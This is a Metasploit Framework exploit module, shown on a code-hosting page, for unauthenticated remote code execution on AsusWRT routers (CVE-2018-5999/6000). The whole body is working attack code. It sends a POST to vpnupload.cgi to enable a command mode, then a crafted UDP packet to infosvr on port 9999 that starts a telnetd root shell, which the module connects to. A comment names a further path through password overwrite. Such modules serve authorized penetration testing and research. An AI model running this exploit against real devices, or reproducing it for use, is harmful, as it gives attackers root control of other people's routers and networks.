Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/asuswrt_lan_rce.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::Udp
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',
17
'Description' => %q{
18
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
19
perform a POST in certain cases. This can be combined with another vulnerability in
20
the VPN configuration upload routine that sets NVRAM configuration variables directly
21
from the POST request to enable a special command mode.
22
This command mode can then be abused by sending a UDP packet to infosvr, which is running
23
on port UDP 9999 to directly execute commands as root.
24
This exploit leverages that to start telnetd in a random port, and then connects to it.
25
It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
26
},
27
'Author' => [
28
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
33
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],
34
['URL', 'https://seclists.org/fulldisclosure/2018/Jan/78'],
35
['CVE', '2018-5999'],
36
['CVE', '2018-6000']
37
],
38
'Targets' => [
39
[
40
'AsusWRT < v3.0.0.4.384.10007',
41
{
42
'Payload' =>
43
{
44
'Compat' => {
45
'PayloadType' => 'cmd_interact',
46
'ConnectionType' => 'find',
47
},
48
},
49
}
50
],
51
],
52
'Privileged' => true,
53
'Platform' => 'unix',
54
'Arch' => ARCH_CMD,
55
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
56
'DisclosureDate' => '2018-01-22',
57
'DefaultTarget' => 0,
58
'Notes' => {
59
'Reliability' => UNKNOWN_RELIABILITY,
60
'Stability' => UNKNOWN_STABILITY,
61
'SideEffects' => UNKNOWN_SIDE_EFFECTS
62
}
63
)
64
)
65
register_options(
66
[
67
Opt::RPORT(9999)
68
]
69
)
70
71
register_advanced_options(
72
[
73
OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80])
74
]
75
)
76
end
77
78
def exploit
79
# first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
80
# this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
81
post_data = Rex::MIME::Message.new
82
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")
83
84
data = post_data.to_s
85
86
res = send_request_cgi({
87
'uri' => "/vpnupload.cgi",
88
'method' => 'POST',
89
'rport' => datastore['ASUSWRTPORT'],
90
'data' => data,
91
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
92
})
93
94
if res and res.code == 200
95
print_good("#{peer} - Successfully set the ateCommand_flag variable.")
96
else
97
fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
98
end
99
100
# ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
101
info_pdu_size = 512 # expected packet size, not sure what the extra bytes are
102
r = Random.new
103
104
ibox_comm_pkt_hdr_ex =
105
[0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC
106
[0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15
107
[0x33, 0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x33
108
r.bytes(4) + # Info, don't know what this is
109
r.bytes(6) + # MAC address
110
r.bytes(32) # Password
111
112
telnet_port = rand((2**16) - 1024) + 1024
113
cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
114
pkt_syscmd =
115
[cmd.length, 0x00].pack('C*') + # cmd length
116
cmd # our command
117
118
pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
119
120
connect_udp
121
udp_sock.put(pkt_final) # we could process the response, but we don't care
122
disconnect_udp
123
124
print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
125
sleep(10)
126
127
begin
128
ctx = { 'Msf' => framework, 'MsfExploit' => self }
129
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
130
if not sock.nil?
131
print_good("#{peer} - Success, shell incoming!")
132
return handler(sock)
133
end
134
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
135
sock.close if sock
136
end
137
138
print_bad("#{peer} - Well that didn't work... try again?")
139
end
140
end
141
142